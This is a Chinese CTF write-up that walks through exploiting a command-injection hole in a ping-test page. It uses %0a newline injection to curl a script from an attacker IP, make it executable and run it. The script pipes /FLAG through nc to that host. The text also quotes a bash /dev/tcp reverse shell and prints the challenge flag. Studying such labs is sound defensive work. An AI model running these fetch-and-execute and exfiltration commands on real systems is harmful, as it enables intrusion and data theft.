CTFer成长之路之命令执行漏洞
字数 952 2025-08-11 17:40:34
命令执行漏洞实战:CTF死亡ping命令绕过技术详解
漏洞背景
命令执行漏洞是Web安全中常见的高危漏洞之一,攻击者能够通过精心构造的输入在服务器上执行任意系统命令。本案例来自一个CTF题目,模拟了路由器管理台中常见的网络ping测试功能,开发者虽然设置了黑名单过滤,但存在绕过可能。
环境搭建
题目提供了docker-compose.yml文件,可以快速搭建测试环境:
version: "3.2"
services:
converter:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
ports:
- 80:80
启动命令:
docker-compose up -d
漏洞分析
黑名单过滤机制
通过测试发现系统存在黑名单过滤,当输入包含恶意字符时会显示"IP包含恶意字符"。经过fuzz测试确认过滤了以下字符:
" (双引号)
关键绕过技术
使用%0a(URL编码的换行符)可以注入新命令:
%0a在Linux系统中表示换行符- 可以用于分隔多条命令,实现命令注入
漏洞利用步骤
1. 准备攻击脚本
由于目标环境限制:
- 没有bash、python程序
- sh反弹不可行(如
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1)
创建1.sh文件,内容为:
ls
cat /FLAG | nc 192.168.10.3 8080
2. 分阶段执行攻击
阶段一:下载攻击脚本
127.0.0.1%0acurl 192.168.10.3/1.sh > /tmp/1.sh
- 使用
%0a注入curl命令 - 将攻击脚本下载到目标服务器的/tmp目录
阶段二:赋予执行权限
127.0.0.1%0achmod 777 /tmp/1.sh
- 修改脚本权限使其可执行
阶段三:执行攻击脚本
127.0.0.1%0ash /tmp/1.sh
- 执行下载的脚本
3. 接收flag
在攻击机(192.168.10.3)上监听8080端口:
nc -l 8080
脚本执行后会通过netcat将flag发送到攻击机。
防御建议
-
输入验证:
- 使用白名单而非黑名单
- 严格限制输入格式(如只允许IP地址格式)
-
命令执行安全:
- 避免直接拼接用户输入到系统命令
- 使用安全的API替代系统命令调用
-
权限控制:
- 降低Web服务运行权限
- 限制敏感目录的写入权限
-
过滤特殊字符:
- 除了引号,还应过滤
;、&、|、$、%0a等
- 除了引号,还应过滤
总结
本案例展示了如何利用换行符%0a绕过简单的黑名单过滤实现命令注入。关键在于:
- 识别过滤机制
- 找到未被过滤的特殊字符
- 分阶段执行复杂命令
- 利用网络工具外传数据
Flag: n1book{6fa82809179d7f19c67259aa285a7729}
通过这个案例,安全人员可以更好地理解命令注入漏洞的原理和利用方式,从而在开发中采取更有效的防护措施。